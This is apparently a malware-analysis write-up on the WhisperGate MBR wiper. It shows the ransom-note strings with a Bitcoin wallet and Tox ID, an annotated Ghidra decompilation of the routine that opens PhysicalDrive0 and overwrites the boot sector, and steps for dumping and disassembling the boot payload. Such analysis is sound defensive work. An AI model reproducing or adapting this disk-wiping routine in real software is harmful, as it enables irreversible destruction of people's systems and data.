WhisperGate MBR Wiper: Deconstructing Destructive Disk-Level Corruptions

Executive Summary

WhisperGate is a critical destructive wiper deployed by the Russian GRU (Unit 29155) against Ukrainian government and IT infrastructure in January 2022. While it masquerades as ransomware with a $10,000 Bitcoin demand, its true intent is geopolitical sabotage through permanent system neutralization.

The malware gains administrative access to \\.\PhysicalDrive0 to overwrite the Master Boot Record (MBR) with a malicious 16-bit bootloader and a fake ransom note. Forensic analysis confirms the absence of encryption logic; instead, it intentionally destroys partition tables and enters an infinite disk-read loop using BIOS Interrupt 13h. This "False Flag" operation was designed to brick systems and cause widespread operational chaos as a prelude to physical conflict, making data recovery technically impossible.

File Information: WhisperGate - Stage 1

Sections

Imports

Strings

Figure: Screenshot 2026-05-07 at 9.43.16 PM.png Click to zoom ↗

19	32a8	004040a8	Section(1)['.data']	23	A	Your hard drive has been corrupted.
20	32cd	004040cd	Section(1)['.data']	2b	A	In case you want to recover all hard drives
21	32fa	004040fa	Section(1)['.data']	15	A	of your organization,
22	3311	00404111	Section(1)['.data']	2a	A	You should pay us  $10k via bitcoin wallet
23	333d	0040413d	Section(1)['.data']	37	A	1AVNM68gj6PGPFcJuftKATa4WLnzg8fpfv and send message via
24	3376	00404176	Section(1)['.data']	53	A	tox ID 8BEDC411012A33BA34F49130D0F186993C6A32DAD8976F6A5D82C1ED23054C057ECED5496F65
25	33cb	004041cb	Section(1)['.data']	1c	A	with your organization name.
26	33e9	004041e9	Section(1)['.data']	31	A	We will contact you to give further instructions.
27	34a2	004042a2	Section(1)['.data']	05	A	AAAAA
28	34a8	004042a8	Section(1)['.data']	23	A	Your hard drive has been corrupted.
29	34cd	004042cd	Section(1)['.data']	2b	A	In case you want to recover all hard drives

Malware Profile: WhisperGate Destructive Loader

This 27 KB Win32 PE executable acts as a destructive bootloader. While it presents itself as ransomware to create operational confusion, its mechanical design is purely for permanent system sabotage.

Technical Breakdown

The .data section contains a hardcoded ransom note demanding $10,000 USD in Bitcoin to a specific wallet (1AVNM68...). Because the malware uses WriteFile to overwrite the MBR with this static text rather than an encryption key, the system is rendered unrecoverable. There is no decryption routine; the note is a psychological distraction.

Ghidra Analysis

Following WriteFile

Figure: Screenshot 2026-05-08 at 1.02.53 AM.png Click to zoom ↗

Which actually reference to the function: FUN_00403b60

/* 
 * WhisperGate Stage 1: MBR Overwrite Routine
 * Function: FUN_00403b60
 * Description: Directly targets the physical drive to replace the 
 * Master Boot Record with a malicious payload.
 */

undefined4 FUN_00403b60(void)
{
  int iVar1;
  uint uVar2;
  HANDLE pvVar3;
  BOOL BVar4;
  int iVar5;
  undefined4 *puVar6;
  undefined4 *puVar7;
  undefined4 local_2020 [2050]; // Main 8KB buffer to hold the destructive payload
  undefined1 *apuStack_18 [2];
  DWORD DStack_4;
  
  // --- Stack Initialization ---
  apuStack_18[1] = &stack0x00000004;
  apuStack_18[0] = (undefined1 *)0x403b7a;
  
  // Dynamic stack adjustment used to obfuscate variable locations
  uVar2 = FUN_00401fe0();
  iVar1 = -uVar2;
  *(undefined4 *)((int)apuStack_18 + iVar1) = 0x403b8c;
  
  // Potential environment check or anti-analysis routine
  FUN_00401990();

  // --- Payload Staging ---
  // Copies the malicious bootloader/fake ransom note from global data (DAT_00404020)
  // 0x800 (2048) bytes are moved into the local stack buffer.
  puVar6 = &DAT_00404020;
  puVar7 = local_2020;
  for (iVar5 = 0x800; iVar5 != 0; iVar5 = iVar5 + -1) {
    *puVar7 = *puVar6;
    puVar6 = puVar6 + 1;
    puVar7 = puVar7 + 1;
  }

  // --- Parameter Preparation for CreateFileW ---
  // Manually pushing arguments onto the stack for the raw disk handle call
  *(undefined4 *)(&stack0x00000004 + iVar1) = 0;          // hTemplateFile: NULL
  *(undefined4 *)(&stack0x00000000 + iVar1) = 0;          // dwFlagsAndAttributes: 0
  *(undefined4 *)((int)&DStack_4 + iVar1) = 3;            // dwCreationDisposition: OPEN_EXISTING
  *(undefined4 *)(&stack0xfffffff8 + iVar1) = 0;          // lpSecurityAttributes: NULL
  *(undefined4 *)(&stack0xfffffff4 + iVar1) = 3;            // dwShareMode: FILE_SHARE_READ | FILE_SHARE_WRITE
  *(undefined4 *)(&stack0xfffffff0 + iVar1) = 0x10000000; // dwDesiredAccess: GENERIC_ALL (Raw Write Access)
  
  // Target: The raw physical disk device instead of a file
  *(wchar_t **)((int)apuStack_18 + iVar1 + 4) = L"\\\\.\\PhysicalDrive0";

  // --- Obtain Handle to Raw Disk ---
  pvVar3 = CreateFileW(*(LPCWSTR *)((int)apuStack_18 + iVar1 + 4),
                       *(DWORD *)(&stack0xfffffff0 + iVar1),
                       *(DWORD *)(&stack0xfffffff4 + iVar1),
                       *(LPSECURITY_ATTRIBUTES *)(&stack0xfffffff8 + iVar1),
                       *(DWORD *)((int)&DStack_4 + iVar1),
                       *(DWORD *)(&stack0x00000000 + iVar1),
                       *(HANDLE *)(&stack0x00000004 + iVar1));

  // --- Execute the Wipe ---
  *(HANDLE *)((int)apuStack_18 + iVar1 + 4) = pvVar3;     // Handle to disk
  *(undefined4 *)((int)&DStack_4 + iVar1) = 0;            // lpOverlapped: NULL
  *(undefined4 *)(&stack0xfffffff8 + iVar1) = 0;          // lpNumberOfBytesWritten: NULL
  *(undefined4 *)(&stack0xfffffff4 + iVar1) = 0x200;      // nNumberOfBytesToWrite: 512 (MBR Size)
  *(undefined4 **)(&stack0xfffffff0 + iVar1) = local_2020; // Source: malicious buffer

  // Perform the overwrite: Sector 0 is replaced with the fake ransom note
  WriteFile(*(HANDLE *)((int)apuStack_18 + iVar1 + 4),
            *(LPCVOID *)(&stack0xfffffff0 + iVar1),
            *(DWORD *)(&stack0xfffffff4 + iVar1),
            *(LPDWORD *)(&stack0xfffffff8 + iVar1),
            *(LPOVERLAPPED *)((int)&DStack_4 + iVar1));

  // --- Closure ---
  // Commit changes and close the handle. The system is now unbootable.
  *(HANDLE *)((int)apuStack_18 + iVar1 + 4) = pvVar3;
  BVar4 = CloseHandle(*(HANDLE *)((int)apuStack_18 + iVar1 + 4));
  
  return 0;
}

Description

This function, FUN_00403b60, is the primary execution engine for the WhisperGate wiper. Its sole purpose is to gain low-level access to the machine's primary hard drive and overwrite the Master Boot Record (MBR) with a malicious payload, effectively "bricking" the operating system.

Full Functional Breakdown

The function begins by calculating stack offsets and allocating a local buffer, local_2020, which is roughly 8KB in size. This buffer is designed to hold the data that will be forcibly written to the hardware.

The malware enters a for loop that iterates 2,048 times (0x800). It copies data from a global data segment (DAT_00404020) which contains the fake ransom note and malicious boot code into the local local_2020 stack buffer. This ensures the destructive payload is ready in memory.

It attempts to open a handle to \\.\PhysicalDrive0. This is a critical "Red Flag" indicator; by targeting the physical drive instead of a specific file, the malware is bypassing the Windows File System (NTFS/FAT32). It requests Generic Write permissions (0x10000000) and uses a Share Mode of 3 to ensure it can access the drive even while the OS is running.

Once the handle is acquired, it calls WriteFile. It targets the very first sector of the disk by writing exactly 512 bytes (0x200) from its memory buffer. This action destroys the legitimate MBR—which contains the partition table and the boot instructions—and replaces it with the "ransom" note you found earlier.

The function concludes by calling CloseHandle to commit the changes to the disk and then returns.

what’s inside DAT_00404020

Figure: Screenshot 2026-05-08 at 1.37.01 AM.png Click to zoom ↗

We can copy the bytes and paste it into Hxd.

In ghidra Copy from address: 00404020 to 0040421f

now we have the full buffer which is being overwritten by the malware.

Figure: Screenshot 2026-05-08 at 1.42.03 AM.png Click to zoom ↗

The MBR (Master Boot Record) end signature is a 2-byte sequence, 0x55AA, located at the very end of the first 512-byte sector of a bootable disk (bytes 511 and 512). This signature acts as a "bootable" marker, allowing the BIOS to identify the sector as a valid MBR.

We can verify it by saving the file.

Figure: Screenshot 2026-05-08 at 1.46.28 AM.png Click to zoom ↗

MBR Analysis

Now let’s load our newly saved file in ghidra.

Select Real Mode Language.

Figure: Screenshot 2026-05-08 at 2.14.17 AM.png Click to zoom ↗

MBR Entry point is at address 0x7C00

Add this i n ghidra.

Figure: Screenshot 2026-05-08 at 2.19.24 AM.png Click to zoom ↗

Disassemble it .

Figure: Screenshot 2026-05-08 at 2.21.04 AM.png Click to zoom ↗

This snippet reveals a classic, low-level routine commonly found in custom bootloaders or malicious MBR payloads. Since the MBR executes in Real Mode before the operating system starts, it relies on BIOS interrupts to interact with hardware.

Figure: Screenshot 2026-05-08 at 2.26.13 AM.png Click to zoom ↗

This function is a wrapper for a specific BIOS service designed to print text to the screen during the boot process.

Another Interrupt

Figure: Screenshot 2026-05-08 at 2.35.08 AM.png Click to zoom ↗

It uses BIOS Interrupt 13h, which is the low-level service for disk operations.

Specifically, it is calling the Extended Read function to load more data from the disk into memory, which likely facilitates the transition from the 512-byte MBR to the larger destructive payload.

Technical Analysis: WhisperGate Stage 1 (MBR Wiper)

1. Attack Mechanism (Host-Level)

The initial stage of the malware is a 32-bit Windows executable. Its primary function is to gain raw access to the physical storage and overwrite the boot sector.

Key Code Routine:

The function FUN_00403b60 performs the "kill" operation. It prepares a buffer of 2,048 bytes containing malicious code and a fake ransom note.

2. Payload Analysis (Pre-Boot Environment)

Once the system reboots, the BIOS executes the malicious 16-bit code written to the MBR. This code acts as a custom, destructive bootloader.

A. User Deception (Screen Output)

The malware uses BIOS Interrupt 10h (Video Services) to display a ransom demand. This is a "False Flag" intended to disguise a targeted destruction attack as a criminal ransomware attempt.

B. Low-Level Disk Hammering

After displaying the message, the code enters an infinite loop using BIOS Interrupt 13h to repeatedly read distant sectors of the disk:

3. Conclusion and Severity

This sample is a high-confidence wiper.

IOCs: WhisperGate Stage 1

File Metadata & Hashes

Network & Attribution Indicators

Hardcoded strings found within the malware's data segment, used for the fake ransomware facade.

Host-Based & Behavioral Indicators (HBI)

These patterns indicate active execution or successful infection on an endpoint.

Technical Artifacts (MBR Code)

Specific 16-bit instructions within the dumped MBR that signal malicious "disk hammering" behavior: